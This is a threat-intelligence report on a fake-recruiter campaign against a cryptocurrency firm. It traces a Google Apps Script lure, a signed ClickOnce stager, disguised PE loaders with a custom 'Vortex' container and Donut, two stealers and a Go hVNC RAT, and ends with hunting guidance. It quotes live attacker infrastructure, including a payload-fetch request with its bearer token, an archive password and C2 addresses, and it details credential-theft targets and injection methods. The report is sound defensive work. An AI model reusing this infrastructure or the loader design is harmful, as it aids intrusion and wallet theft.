From fake interview to signed ClickOnce: inside a three-payload Windows chain

Overview#
A fake Web3 interview delivered signed ClickOnce on Windows, unpacking NeedleStealer, a Rust stealer, and a Go hVNC RAT.
The victim was between jobs. They had handed in their notice, their LinkedIn profile said as much, and they were taking recruiter calls, which is exactly the condition this operation was built to exploit.
Fake interviews have become a durable way into the cryptocurrency industry, and the technique no longer belongs only to the North Korean units that made it recognizable. Criminal service providers now rent the same lures, so a convincing recruiter and a Google Workspace decoy no longer tell an investigator who is on the other end. This campaign sits on that seam, and the evidence below does not fully resolve which side of it the operator stands on.
In July 2026, a cryptocurrency organization was compromised after an employee entered what appeared to be a normal Web3 hiring process. A fake recruiter made contact on LinkedIn, scheduled interviews through Calendly, and supplied technical-assessment material presented as a Google Sheet. The sheet was a Google Apps Script web app. The Windows delivery was a signed Microsoft ClickOnce application named GapiUpdate.application.
The ClickOnce application displayed a legitimate Google Workspace page in WebView2 while requesting an authenticated configuration from gapidriver.com. The response pointed to a password-protected Dropbox archive named Razo.rar. That archive contained three x64 portable executable (PE) files disguised as PNG images.
Each branch used multiple encrypted or compressed loader stages. Static recovery produced three final payloads:
- a Go build of NeedleStealer targeting browser credentials, sessions, wallets, Telegram data, and screenshots
- an unclassified Rust stealer targeting browsers, wallets, password managers, developer tooling, cloud credentials, messaging applications, and files
- a custom Go remote access trojan (RAT) with shell, file management, proxying, keylogging, visible virtual network computing (VNC), hidden VNC (hVNC), in-memory execution, update, and persistence functions
The campaign links to two publicly reported activity sets. Security Alliance (SEAL) documented a closely related GAPI_Update ecosystem using Google Apps Script, fake Workspace updates, and ClickOnce. SEAL associated much of the surrounding activity with Russia-based "traffer" and malware-as-a-service (MaaS) operations that had adopted techniques used in Democratic People's Republic of Korea (DPRK) campaigns.
Separately, Hacker Fantastic documented an active ClickOnce credential-theft chain using the same SSL.com code-signing certificate found in GapiUpdate.application. The thread also published the SHA-256 hash a7dc0a626d84e17f16d5fc1096e4478298b2a4b61b42a1cf25043cccf846a50a, an exact match for the fdsfgweg.png Go loader recovered from Razo.rar, and described the activity as DPRK-nexus cryptocurrency targeting.
Impact#
The incident resulted in private-key compromise. Within roughly one hour, assets were removed across six chains. The attacker repaid lending positions to release collateral, swapped multiple token types, bridged proceeds to Ethereum, and consolidated approximately 22.6 Ether into a staging wallet the following morning.
The payload bundle extends the containment scope beyond cryptocurrency wallets. Both stealers can take browser passwords and authenticated sessions. The Rust stealer also targets source-control credentials, cloud configuration, deployment tooling, password managers, virtual private network (VPN) and secure shell (SSH) material. The RAT adds durable, interactive access through a scheduled task, encrypted raw-TCP command-and-control (C2), proxying, pushed execution, and hVNC.
An infected developer workstation should therefore be treated as a compromise of every credential, browser session, wallet key, cloud token, source-control token, and deployment secret accessible from that host.
| Finding | Detail |
|---|---|
| Initial access | Fake Web3 recruiter, LinkedIn contact, Calendly interviews, malicious assessment material |
| Lure surface | Google Apps Script at script.googleusercontent.com/userCodeAppPanel |
| Analyzed ClickOnce version | Signed GapiUpdate.application version 1.0.0.201 |
| Stage-two control | Authenticated GET gapidriver.com/api/get.php |
| Payload bundle | Password-protected Razo.rar hosted on Dropbox |
| Final payloads | NeedleStealer, unclassified Rust stealer, custom Go RAT/hVNC |
| Stealer infrastructure | diegovalanire.digital, three TLS relays, two Tor fallbacks |
| RAT C2 | 91.219.238.169:5556 |
| Persistence | DeviceSetupManager scheduled task and autorun implementation |
| Incident outcome | Private-key theft and wallet drain across six chains |
How the chain started#
The victim was an employee of a cryptocurrency organization, serving notice and visibly job-hunting on LinkedIn. A recruiter representing a fictitious protocol moved them through what appeared to be a normal Web3 hiring process before introducing the malicious assessment.
The resulting Windows chain is shown below.
Execution Chain
Fake interview to stealer and RAT deployment
A recruiter for a fictitious Web3 protocol approached an employee of a cryptocurrency organization whose employment status was visible on LinkedIn. The interview process used Calendly and degraded or enhanced video calls.
The recruiter then supplied technical-assessment material presented as a Google Sheet. This was targeted social engineering, not a mass-mail attachment campaign.
Observed evidence
- LinkedIn approach to an employee serving notice
- Calendly-scheduled interview
- degraded or enhanced video calls
- assessment framed as a Google Sheet
The Windows analysis follows version 1.0.0.201 throughout. This is the recovered ClickOnce package for which the authenticated configuration, Razo.rar, all three native wrappers, loader cryptography, and final payloads were available. Static recovery establishes the complete designed execution chain but does not prove that every payload branch or capability executed on the victim system.
Timeline#
- 2026-07-13
Victim compromise and wallet drain begins
- 2026-07-14
Proceeds consolidated, swapped, bridged, and staged on Ethereum
- 2026-07-14
Staging wallet emptied in three tranches within three minutes
- 2026-07-17
Lure-page Telegram bot remained reachable
- 2026-07-22
Lure-page Telegram bot remained reachable
- 2026-08-02
Automated sweeper collected residual dust from the victim wallet
- 2026-08-10
Rust svc final payload PE timestamped 09:49
- 2026-08-13
Version 1.0.0.201 payload recovery completed
Stage 1: Google Apps Script triage#
The assessment link resolved through Google infrastructure to a web app served beneath this path:
https://n-cfjznllwrpfpmyyinhdgwemzxljuukztq3qp73q-0lu-script.googleusercontent.com/userCodeAppPanel
The page used genuine Google assets from apis.google.com, gstatic.com, Google Fonts, and related services. The browser saw a Google-hosted document surface while the hostile logic handled qualification and delivery.
The visible sheet was titled Dashboard. A Candidate Verification overlay asked for an email address and name, then a connector error (GAPI-CON-212) and a failed "Loading platform component" step supplied the reason to install a Google API helper.

Unauthenticated visitors first hit a standard Google sign-in page for Sheets. That wall is real Google authentication in front of a hostile Apps Script document, not a cloned login form.

Recovered page logic performed the following actions:
- collected the visitor's Internet Protocol address, geolocation, internet service provider, browser, and operating system through public lookup services
- checked for browser wallet extensions including MetaMask, Phantom, Rabby, Keplr, OKX, Coinbase Wallet, and Trust Wallet
- reported page opens, update clicks, retries, and downloads to attacker-controlled Telegram chats
- selected a Windows
.applicationmanifest - used server-side Apps Script logic to keep the final delivery decision outside the visible client page
This is live triage as well as a lure. Before the victim opens the installer, the operator can know the platform, approximate location, wallet-extension surface, and position in the delivery funnel.
api.ipify.org and ipapi.co are legitimate services. They are contextual indicators only and should not be blocked globally.
Stage 2: signed ClickOnce installation#
The Windows response was a ClickOnce deployment manifest. Opening it invokes the Windows ClickOnce runtime:
rundll32.exe "C:\Windows\System32\dfshim.dll",ShOpenVerbApplication
C:\Users\<user>\AppData\Local\Temp\GapiUpdate.application
-> dfsvc.exe
-> Launcher.exe
-> GapiUpdate.exe
-> GapiUpdate.dll
The version 1.0.0.201 manifest has these properties:
| Property | Version 1.0.0.201 value |
|---|---|
| Manifest SHA-256 | 7866058c7dff4bcf691492ec4d4348f4c813226b1cfcf2adbcb5431eccf9b0b5 |
| Assembly identity | GapiUpdate.application, msil |
| Public-key token | 4ae39df2f018c2be |
| Deployment provider | https://gapidriver.com/installer/GapiUpdate.application |
| Publisher subject | BARNEHAGEN GUNHILDS MINNE AS, Svolvær, Norway |
| Certificate serial | 4D6ABBFC7C052CBAFAA53659971AC471 |
| Certificate SHA-1 | 12730A7DD9AF98F14441D476C10EB346708C1194 |
| Certificate validity | 2026-07-13 23:44:03 to 2027-07-13 23:44:03 UTC |
| RFC 3161 timestamp | 2026-07-14 22:38:39 UTC |
| Issuer | SSL.com Code Signing Intermediate CA RSA R1 |
The certificate names a real Norwegian entity; the available material does not indicate that the organization knowingly participated. Compromised signing access, identity abuse, and fraudulent issuance remain possible explanations.
Hacker Fantastic's thread reported this exact leaf certificate in a second ClickOnce/WebView credential-theft chain. That chain began with a fake Google Docs decryption prompt, pivoted to a DocSend-branded ClickOnce application, and delivered downstream credential stealers. The thread also contains an exact hash match for the fdsfgweg.png loader analyzed in this report.
ClickOnce installs per-user application data beneath %LOCALAPPDATA%\Apps\2.0 and records its deployment identity and origin. This produces durable forensic artifacts even if the visible files are later deleted.
An earlier build sits closer to the incident#
Version 1.0.0.201 is the package recovered for full static analysis. It is not the only build in the evidence, and it is probably not the one that reached the victim.
An earlier build, version 1.0.0.182, has the closest link to the original July incident and its sandbox observations. It used a different public-key token, 38ce3b33a131dca3, contacted /api/rest.php rather than /api/get.php, carried a large self-contained .NET package, and was reported with an Avento Software OÜ signing certificate rather than the Norwegian subject above.
Sandbox captures from that build show the ClickOnce installer UI and the resulting host process tree. The installer names the application GapiUpdate, attributes it to gapidriver.com, and pulls a package of about 183 MB, which matches the large self-contained .NET payload. The ClickOnce cache path embeds public-key token 38ce3b33a131dca3. Execution then follows rundll32.exe / dfshim.dll to dfsvc.exe, Launcher.exe, GapiUpdate.exe, and msedgewebview2.exe.


The two builds share the GapiUpdate name, the gapidriver.com origin, and the general decoy behavior, which supports a campaign relationship. Their hashes, endpoints, certificates, and payload behavior differ, so this report keeps their facts separate. Nothing in the retained evidence proves that build 201 ran on the original victim's computer.
Certificate subjects need the same care in both builds. An attacker can obtain a certificate with false records, steal one, or compromise a legitimate company. The subject names are useful search values, but they do not show knowing participation.
Stage 3: decoy, profiling, and configuration#
GapiUpdate.dll is the main application logic. It creates a WebView2 window and navigates to a legitimate Google Workspace Marketplace page:
https://workspace.google.com/u/0/marketplace/category/google-apps
While the victim sees a plausible Google surface, the stager enumerates running processes against embedded lists. One list covers security products such as Kaspersky, Avast, AVG, Bitdefender, ESET, McAfee, Norton, Trend Micro, Sophos, and Comodo. Another covers tools such as Process Monitor, Process Explorer, Wireshark, Fiddler, TCPView, x64dbg, IDA, OllyDbg, and Charles. It also checks screen resolution and reports stage state.
The static control flow supports environment profiling. It does not justify claiming that every matching process forces immediate termination.
The stager then requests its downstream configuration:
GET https://gapidriver.com/api/get.php
User-Agent: Mozilla/5.0 (compatible; RustClient/1.0)
Authorization: Bearer XyZ4pQ9mLwD2TfA7
The retained response contains the archive location and extraction password:
{
"archive": "https://www.dropbox.com/scl/fi/vwtoo632m1y8sqnm5vplm/Razo.rar?...&dl=1",
"password": "NSckskj24vd"
}
This design separates the signed installer from the volatile native payloads. The operator can change the archive, password, and final malware without obtaining a new signing certificate or rebuilding the ClickOnce package.
Stage 4: RAR extraction and payload dispatch#
UnzipAndInstallAsync creates a temporary extracted directory and opens Razo.rar with the server-provided password. Each non-directory .png entry is copied to a randomly generated .exe filename and added to a launch list. The archive's three PNG-named members all begin with an MZ PE header:
| Archive member | Size | SHA-256 | Wrapper role |
|---|---|---|---|
ddsfwef.png | 9,766,686 | fafa019e18d44a47c615da188d7d56a15364ded87a13e3c405b195b4f48314cd | Rust wrapper for NeedleStealer |
eeewr.png | 2,637,348 | 839f6d29d0a0a79bb5ce0a8a0326f3dc8f291ffb87e2c55f68c23a5ed69dbf72 | Rust wrapper for the svc stealer |
fdsfgweg.png | 7,088,504 | a7dc0a626d84e17f16d5fc1096e4478298b2a4b61b42a1cf25043cccf846a50a | Go loader for the RAT/hVNC payload |
The stager starts each randomized executable with Process.Start. It launches the first entry immediately, waits 60 seconds, and then continues through the remaining list. Stage success or failure is reported to https://gapidriver.com/api/rest.php using Russian-language status strings equivalent to "build started", "launch error", and "all builds loaded".
The one-minute delay reduces the immediate process burst and allows the first stealer to begin collection before the other payloads contend for browser databases. It also separates related events in endpoint logs, where an analyst can mistake the three starts for unrelated activity.
Stage 5: Vortex, shellcode, and Donut#
The three files launched from Razo.rar are wrappers rather than the final malware. They use different outer implementations, two in Rust and one in Go, but converge on the same layered design.
Loader Pipeline
Three branches, one architecture
The outer wrapper is replaceable. The container, shellcode, and Donut handoff are not.
Empty slots are layers that branch does not use. Hover or tap a layer to inspect it.
Each row is a data transformation or an execution handoff, not a conventional child process. The wrapper is the only file GapiUpdate.dll actually starts; Vortex and the Donut module are data structures consumed in memory by the preceding layer.
Outer Rust and Go wrappers#
The Rust wrappers append their protected data as large overlays. Each overlay is written with a different 16-character alphabet in which every character represents one four-bit nibble. Reversing that lookup table converts the character stream back into bytes. The wrapper then removes a 128-bit add-rotate-XOR (ARX) stream mask. This recovers the serialized Vortex container, not the final stealer.
The Go goloader_v2 branch uses a different overlay-unmasking routine but reaches the same Vortex format. The distinct Rust and Go implementations show that the outer wrapper is replaceable. The operator can change the first protection layer without changing the inner shellcode and payload architecture.
Vortex as an authenticated shellcode container#
Vortex is a custom packing format identified from the embedded key-derivation labels crypt-v2-vortex-stream, crypt-v2-vortex-feistel, crypt-v2-vortex-junk, and crypt-v2-vortex-mac. No matching public implementation or prior technical description was identified at the time of analysis, so this report refers to it as the self-labeled Crypt V2 "Vortex" container.
The serialized variants contain a 12-byte nonce, a 32-byte salt, a length-prefixed sealed body, and a 16-byte authentication tag. The field order differs between builds, another indication that the format can be emitted in several layouts. An embedded 32-byte master value, the salt, and the nonce feed the SHA-256 form of the HMAC-based Extract-and-Expand Key Derivation Function (HKDF-SHA256). In this name, HMAC refers to a hash-based message authentication code. The four labels above derive independent keys for stream transformation, Feistel transformation, junk-block selection, and message authentication.
The container is processed in this order:
Attack Chain
Vortex container unwrap order
Step 1
Verify tag
16-byte HMAC-SHA256, checked before any plaintext
Step 2
Discard junk
keyed junk-block selection
Step 3
Restore order
retained 32-byte blocks
Step 6
Feistel, primary key
second decryption pass
Step 5
Intermediate ARX
add, rotate, XOR transformation
Step 4
Feistel, derived key
first decryption pass
Step 7
Remove padding
block padding stripped
Step 8
Final ARX stream
last transformation before parse
Step 9
Parse package
API hashes, metadata, x64 shellcode
Step 1
Verify tag
16-byte HMAC-SHA256, checked before any plaintext
Step 2
Discard junk
keyed junk-block selection
Step 3
Restore order
retained 32-byte blocks
Step 4
Feistel, derived key
first decryption pass
Step 5
Intermediate ARX
add, rotate, XOR transformation
Step 6
Feistel, primary key
second decryption pass
Step 7
Remove padding
block padding stripped
Step 8
Final ARX stream
last transformation before parse
Step 9
Parse package
API hashes, metadata, x64 shellcode
The HMAC-SHA256 calculation covers the salt, nonce, and encrypted body, then truncates its result to the 16 bytes stored in the container. Verification occurs before plaintext is accepted. All three recovered containers produced valid tags. This establishes that the extracted plaintext packages are exact outputs of the format implemented by the malware rather than byte sequences recovered through heuristic carving.
The decrypted Vortex package is still not a Windows executable. It contains a count and array of hashed Windows application programming interface (API) identifiers, a metadata field, a length field, and a large position-independent x64 shellcode body. Hashing API names lets the shellcode resolve Windows functions at runtime without retaining a normal import table or the corresponding function names in plaintext.
| Branch | API hashes | Vortex shellcode size |
|---|---|---|
ddsfwef.png | 8 | 4,672,320 bytes |
eeewr.png | 14 | 1,125,184 bytes |
fdsfgweg.png | 11 | 2,477,292 bytes |
Vortex therefore provides authenticated storage and obfuscation for the shellcode. It does not map the final stealer or RAT, establish persistence, or implement their collection capabilities.
Shellcode and the Donut handoff#
Position-independent shellcode can execute from an arbitrary memory address without first being loaded as a normal PE. In this chain it acts as the bridge between the Vortex package and the inner Donut instance. It resolves the required Windows APIs, locates the protected Donut structures, and transfers control to the loader. The ddsfwef branch adds another repeating-XOR layer over part of this loader region before the Donut code becomes visible.
Donut is a public position-independent code generator and in-memory loader. Its format separates the loader instance from the embedded module. The instance holds the configuration, API hashes, cryptographic material, and information needed to run the loader. The module describes and carries the compressed final payload. Once executing in the selected process, the Donut-derived code reconstructs the native PE, resolves imports, applies relocations when required, prepares memory protections, and passes execution to the payload without requiring the final PE to be created as a normal file on disk.
The two Rust branches retain Donut's recognizable instance and module layout, native-executable module type, and aPLib compression. They replace the usual instance protection with a custom 26-round Chaskey-like cipher. The Go branch retains a more standard Donut instance but adds a custom XOR transformation over the module and uses Windows LZNT1 compression. aPLib and LZNT1 are compression algorithms, not separate loaders: their role is to restore the full native PE after the inner module has been decrypted or unmasked.
Deterministic aPLib and LZNT1 decompression produced intact PEs with stable SHA-256 hashes. The Rust modules expanded from 4,644,463 to 11,150,336 bytes and from 1,096,517 to 2,943,193 bytes. The Go module expanded from 2,428,110 to 4,265,472 bytes. The authenticated Vortex packages, parsed Donut metadata, expected output sizes, and final hashes provide independent integrity checks across the recovery chain.
The wrappers contain multiple in-memory execution implementations, including image mapping, module stomping, allocate/protect, dual mapping, asynchronous procedure call (APC), NtCreateThreadEx, thread-pool, and timer-queue paths. These are shipped loader capabilities. Static analysis does not establish which path ran on a particular host.
Final payload 1: NeedleStealer#
The ddsfwef branch recovers an 11,150,336-byte Go x64 PE:
SHA-256: 487f15344db40bca9c8cd853d76cd3e56f15422c9db73e4bc2c2b6c0bcea2806
Go: 1.25.0
Module: needle-app
API: needle-app/internal/api
Backend: https://diegovalanire.digital
Build: fe9dd150d4389cc4
The literal Go module and internal API namespace support a high-confidence NeedleStealer identification. This is stronger than a behavioral resemblance. It does not establish that the GapiUpdate operator, the Needle developer, and operators of other reported Needle campaigns are the same party.
Enabled collection policy#
The embedded policy enables six collection modules. Browser history, raw profile copying, File Transfer Protocol (FTP) collection, and the general document grabber are disabled in this build. Family capability and enabled build policy are not the same thing.
Enabled Modules
Six collection modules are switched on in this build
Build tag fe9dd150d4389cc4
Backend workflow#
The API client implements session creation, keepalive, host registration, harvest status reporting, individual file upload, and ZIP staging and upload. An embedded API key authenticates the client, while the build tag identifies the campaign or affiliate build.
Final payload 2: Rust svc stealer#
The eeewr branch recovers a 2,943,193-byte native Rust x64 PE:
SHA-256: 112a2a6496d2235c7a73e53bdea9775b16bb1848be7a5e96436fdee81bb383bc
Module: svc
Build ID: 133f8369b3e83bbf
Builder paths include /opt/panel/data/source_decrypted/.../svc.../out/api_decrypt.rs and obf_strings.rs. Generated decrypt modules and a per-build identifier are consistent with panel-built crimeware, but they do not identify the builder's developer or customer.
Relay configuration#
The client walks the relays in order and falls back to Tor when none answer.
Attack Chain
Relay failover order
Step 1
Primary relay
31.76.7.137:443 · 0b0e4d5f · analytics.gif
Two of the three relays carry a Tor fallback address; the second has none in the record. Full onion addresses are listed in the network indicators.
The client supports authenticated chunked and streaming uploads over Transport Layer Security (TLS), relay failover, and Tor fallback. Paths such as analytics.gif, pixel.png, and content.js make the application path resemble static web content without changing the underlying malicious behavior.
The configured collection order is:
wallet_extensions -> desktop_wallets -> system_info -> browsers
-> software -> apps -> dev_configs -> file_grabber
All eight modules are active. Configurable delay ranges introduce jitter between phases and retries.
Browser and session theft#
The Rust stealer covers Chrome, Edge, Brave, Vivaldi, Opera, Yandex, Firefox, and several anti-detect browser layouts. Its collectors include:
- direct SQLite and write-ahead-log parsing for cookies, passwords, and autofill
- DPAPI master-key recovery and Chromium ABE/elevator handling
- Chrome DevTools Protocol-assisted collection
- Yandex passman-specific recovery
- Firefox NSS plus PBES2, 3DES, and AES decryption
- Roblox and Google token or session artifacts
Its CookieEsc subsystem can duplicate handles, interact with Network Service and browser processes, invoke Restart Manager, terminate and restart browsers, resolve reparse points, and fall back to existing Volume Shadow Copy paths. This creates several routes to locked browser databases.
Wallet, application, and developer-secret theft#
The active modules target browser-wallet extensions, desktop wallets, password managers, Discord, Telegram, Steam, VPN, FTP, SSH, KeePass databases, installed software, screenshots, and host information.
Developer and cloud targets include .env files and common data locations for Amazon Web Services (AWS), Docker, Kubernetes, GitHub CLI, Terraform, Vercel, Netlify, Claude, Cursor, and Visual Studio Code. On a developer endpoint, this can extend a wallet compromise into source control, continuous integration and deployment (CI/CD), cloud, or production systems.
No exact public match was found for the final hash, CookieEsc implementation names, build ID, builder path, or relay configuration. This payload should be reported as an unclassified Rust stealer, likely generated through a private panel or builder. It is not the Rust Needle wallet-seed spoofer described in public CastleLoader reporting.
Final payload 3: Go RAT and hVNC#
The fdsfgweg branch recovers a 4,265,472-byte Go x64 PE:
SHA-256: 99c4dcc677942513ff39846aba051d1baeaaa5ad083dabc9e3f9b49a522b0a0a
Go: 1.26.5
Module: kujjwvgqsr
Build: antivm
C2: 91.219.238.169:5556
Mutex: Global\{557C15A4-4040-47C3-B1B6-A6A5B0518BA7}
Task: DeviceSetupManager
Retained source filenames expose the design. The transport files mux.go, crypto.go, and network.go implement the channel described below; the remainder are operator modules, browsable in the inspector further down.
Encrypted transport#
The implant uses a pre-shared key (PSK) and mutual challenge-response before accepting tasking:
- Read a 32-byte server nonce.
- Generate and send a 32-byte client nonce.
- Send a keyed-hash message authentication code (HMAC)-SHA256 client authenticator.
- Receive and constant-time verify the server authenticator.
- Derive session material with HMAC-based Extract-and-Expand Key Derivation Function (HKDF)-SHA256 and the label
aes-256-gcm. - Protect multiplexed traffic with AES-256 in Galois/Counter Mode (GCM).
This creates a long-lived encrypted raw-TCP session on port 5556 rather than an HTTPS or WebSocket connection.
Operator capabilities#
Protocol strings and retained source structure establish the module set below. These are shipped capabilities recovered statically. Nothing here shows which modules an operator tasked against the victim.
RAT Capabilities
Nine operator modules over one authenticated channel
AES-256-GCM · port 5556
The RAT does not match GOSAR. It lacks GOSAR's retained vibrant packages, Protocol Buffers, and Quasar-compatible structure, and it uses an unrelated authenticated multiplexed protocol. hVNC, shell, and file functions are not unique enough to overcome those differences. The defensible designation is an unclassified custom or private Go RAT with hVNC.
Following the money#
Wallet addresses and the exact loss amount are withheld to avoid identifying the affected organization. The mechanics remain useful.
Key theft, not signature phishing#
The unauthorized transactions were ordinary transfers signed directly from an externally owned account. The wallet history contained no relevant setApprovalForAll, Permit2 signature abuse, or approval to the addresses that removed the assets.
The attacker held the private key. That is consistent with the recovered stealers' wallet, key, browser-session, and local-file collection. It is inconsistent with a simple approval or signature-phishing drain.
Remediation requires more than revoking a token approval. Every private key or seed phrase accessible from the endpoint must be treated as permanently compromised across every chain.
Position unwinding and consolidation#
The attacker did more than sweep liquid balances. Outstanding borrows were repaid to release collateral, and the newly available collateral was removed. Multiple token types were swapped through decentralized-exchange aggregators, converted to wrapped Ether, and bridged to Ethereum mainnet.
The first unauthorized transaction and the completed drain were separated by roughly one hour. Consolidation continued the following morning, when approximately 22.6 Ether reached one staging wallet.
No mixer appeared in the observed flow. The operator used chain hopping, splitting, and aggregation. One branch entered a wallet that received thirteen inbound transfers from thirteen addresses within 43 minutes before forwarding the aggregate. Approximately 8.3 Ether remained at one hop for three weeks. An automated sweeper later collected residual dust from the victim wallet, showing that it remained under observation.
Address-poisoning noise#
Zero-value transfers from lookalike addresses followed value-bearing transactions within minutes. These were opportunistic address-poisoning bots, not campaign infrastructure.
real destination 0x7383c383...6716
poisoning address 0x7383960902...6716
poisoning address 0x73830B8Bd2...6716
Blockchain indicator lists should exclude these addresses. Similar prefixes and timing alone do not establish operator control.
Campaign and malware-family links#
Code, configuration, infrastructure, and campaign evidence support several links at different confidence levels:
| Public activity or family | Shared evidence | Missing or conflicting evidence | Assessment |
|---|---|---|---|
| NeedleStealer | Literal needle-app module and internal API namespace; matching browser, wallet, and session collection architecture | Different hash, backend, delivery, and companion Rust component from public cases | High-confidence family identification for ddsfwef; no same-operator conclusion |
| CastleLoader and Noidret Needle reporting | Needle family, signed-installer theme, Go and Rust tooling, cryptocurrency focus | Public chain used different loaders, infrastructure, and a GUI Rust wallet spoofer | Possible framework or customer overlap only |
| Contagious Interview or DeceptiveDevelopment | Fake recruiter, structured developer interview, technical assessment, Web3 targeting, wallet and developer-secret objectives | No BeaverTail, OtterCookie, InvisibleFerret, or other DPRK-specific code or infrastructure | Strong tradecraft resemblance, but not an actor attribution |
Security Alliance GAPI_Update and fake Workspace ecosystem | Google Apps Script, Google Workspace/update impersonation, GAPI naming, ClickOnce, and cryptocurrency targeting | No exact domain, IP, certificate, hash, or Windows-payload overlap; the public Windows branches included Rhadamanthys | Likely association with, reuse of, or derivation from the same lure/service ecosystem; affiliate and operator remain unproven |
| Hacker Fantastic DocSend/ClickOnce chain | Exact SSL.com leaf-certificate match and exact fdsfgweg.png loader hash; fake Google Docs prompt, WebView loader, credential theft, and cryptocurrency targeting | Different application branding and delivery domain | Direct artifact link to the same signing and payload-delivery cluster |
| GOSAR, GolangGhost, PylangGhost, or FlexibleFerret | Go RAT and some functional overlap | Different protocol, identifiers, module organization, and delivery | No family match |
| BlueNoroff or UNC1069 | Cryptocurrency-sector social engineering and wallet theft | No recovered code or infrastructure overlap | Insufficient evidence; do not merge the clusters |
The most specific public comparison is the GAPI_Update and fake Google Workspace ecosystem documented by Security Alliance. That reporting describes Google Docs or Sheets panels, fake Workspace and scheduling pages, "Google API certificate" or update prompts, and three delivery choices: ClickOnce, a direct download, or ClickFix. It also shows that the front end and final malware were separable. One reported Google Docs branch used the GAPI_Update name but delivered Rhadamanthys rather than the payloads recovered here.
This campaign reproduces an unusually specific subset of that pattern: a Google Apps Script assessment, Google Workspace branding, the GapiUpdate application name, and signed ClickOnce delivery. The Windows payloads nevertheless differ: this intrusion delivered NeedleStealer, an unclassified Rust stealer, and a custom Go RAT rather than the publicly recovered Rhadamanthys payload. That combination is consistent with an affiliate or front-end provider swapping the final payload according to customer, availability, or campaign requirements.
The domain resemblance is thematic rather than an infrastructure match:
| This campaign | Security Alliance fake Workspace set | Similarity | Evidentiary limit |
|---|---|---|---|
gapidriver.com | gapiupdate.click, gapiauth.net, gapioath.com, gapiconnect.com, authgapi.click, gapiauth.info, auth3gapi.online, and apidrive.online | Repeated gapi plus update, authentication, connection, or drive terminology supporting the same Google API update pretext | No exact domain, registration, passive-DNS, hosting, certificate, or account overlap has been established |
Security Alliance cautions that these campaigns cannot be reliably reduced to one actor and that phishing front ends may be supplied separately from MaaS payloads. The defensible assessment is therefore a relationship to the broader GAPI_Update lure/service ecosystem, but not a same-operator link. See Beware of cold reachouts: infostealer malware campaigns targeting crypto.
Attribution#
This campaign intersects with the GAPI_Update and fake Google Workspace activity reported by Security Alliance. Both use Google-hosted or Google-branded lures, false update or certificate prompts, ClickOnce delivery, and cryptocurrency-focused credential theft. Security Alliance placed the wider ecosystem within Russia-based traffer and MaaS operations, including activity adopting social-engineering techniques associated with DPRK campaigns.
The Hacker Fantastic thread provides a direct technical link to another active campaign. Its DocSend-branded ClickOnce loader was signed with the same SSL.com certificate issued to BARNEHAGEN GUNHILDS MINNE AS: serial 4D6ABBFC7C052CBAFAA53659971AC471 and SHA-1 thumbprint 12730A7DD9AF98F14441D476C10EB346708C1194. The thread also published the a7dc0a...a50a loader hash recovered here from fdsfgweg.png. The reported chain used a fake Google Docs decryption prompt, a WebView-based ClickOnce loader, and multiple credential-stealing payloads, and was described by the researcher as DPRK-nexus cryptocurrency-targeting activity.
These public links place GapiUpdate within an active, shared ClickOnce delivery cluster targeting cryptocurrency users. SEAL's reporting supplies the broader GAPI_Update, traffer, and MaaS context; the Hacker Fantastic thread supplies exact certificate and payload-hash overlap with a contemporaneous ClickOnce intrusion.
Detection and hunting notes#
ClickOnce origin artifacts#
ClickOnce records deployment origins and application identity under the current user's deployment state. The exact subkeys are implementation-specific and encoded, but the following areas are valuable:
HKCU\Software\Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Visibility\...
HKCU\Software\Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\...
HKCU\Software\Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\...
The first two can retain hex-encoded deployment URLs. Component state can retain DigestValue, the application-manifest digest. Search decoded values for gapidriver.com, GapiUpdate.application, both public-key tokens, and the manifest digests. These records can outlast the network activity, which helps when proxy logs are unavailable.
Sandbox telemetry from version 1.0.0.182 recorded dozens of SideBySide writes under that same hive, including Components, Marks, Visibility, and StateManager keys tagged with public-key token 38ce3b33a131dca3.

High-value behavioral sequence#
Alert on this combined path:
Attack Chain
Detection sequence, first open to payload dispatch
Step 1
Manifest opened
browser or chat client opens *.application
Additional high-signal behaviors include:
- non-browser access to Chromium
Local State,Login Data,Cookies, write-ahead logs, Firefoxkey4.db, andlogins.json - DPAPI, SYSTEM impersonation, browser-process access, Restart Manager, or Volume Shadow Copy activity following those reads
- one process reading wallet, password-manager,
.aws,.kube, Docker, GitHub CLI, Terraform, Vercel, Netlify, Cursor, Claude, Visual Studio Code, SSH, VPN, and KeePass data - creation of a
DeviceSetupManagerscheduled task by a user-writable executable - a long-lived raw-TCP connection to
91.219.238.169:5556 - hidden-desktop creation combined with screen capture, input APIs, and encrypted network multiplexing
Public-IP services used by the samples are legitimate. Alert only when they are contacted by a correlated random executable, ClickOnce child, or suspected stealer.
Summary#
A fake recruiter moved an employee of a cryptocurrency organization through what appeared to be a normal Web3 hiring process, including LinkedIn contact, Calendly interviews, and a malicious technical assessment. A Google Apps Script page profiled the visitor, enumerated wallet extensions, reported progress to Telegram, and delivered a signed ClickOnce application.
ClickOnce installed Launcher.exe, GapiUpdate.exe, and GapiUpdate.dll. The .NET stager rendered a Google Workspace decoy, inventoried security and analysis processes, and made an authenticated request to gapidriver.com. The response supplied a Dropbox URL and password for Razo.rar. The stager extracted three x64 PEs disguised as PNG images, renamed them to random executables, and dispatched them with a one-minute delay after the first launch.
The first two branches used Rust wrappers, authenticated Vortex containers, modified Donut instances, and aPLib to recover NeedleStealer and a separate Rust stealer. The third used a Go loader, Vortex, Donut, and LZNT1 to recover a persistent Go RAT with encrypted C2, shell, file management, proxy, keylogger, VNC, and hVNC capabilities.
The July compromise ended in private-key theft and a wallet drain across six chains. Static analysis of version 1.0.0.201 establishes how the Windows delivery bundle reaches credential theft and interactive access.
TTPs and IOCs#
The tactics, techniques, and procedures (TTPs) below use MITRE ATT&CK technique identifiers. Indicators of compromise (IOCs) follow, grouped by type.
References#
- Microsoft, Contagious Interview: malware delivered through fake developer job interviews
- Unit 42, North Korean threat actors lure tech job seekers as fake recruiters
- Security Alliance, Beware of cold reachouts: infostealer malware campaigns targeting crypto
- Malwarebytes, Malicious trading website drops malware that hands over your browser to attackers
- Arctic Wolf, CastleLoader: new campaigns, new tooling, and the NeedleStealer connection
- Elastic, Under the SADBRIDGE with GOSAR
- MITRE ATT&CK, Contagious Interview (G1052)
- Microsoft, ClickOnce security and deployment
- TheWover, Donut
Contact#
For questions, related intelligence, or sightings of this campaign, contact [email protected].
For press inquiries, contact [email protected].
Evidence has been preserved and shared with relevant parties. Wallet addresses, the exact loss figure, and identifying information about the affected organization are withheld.
Domain protection
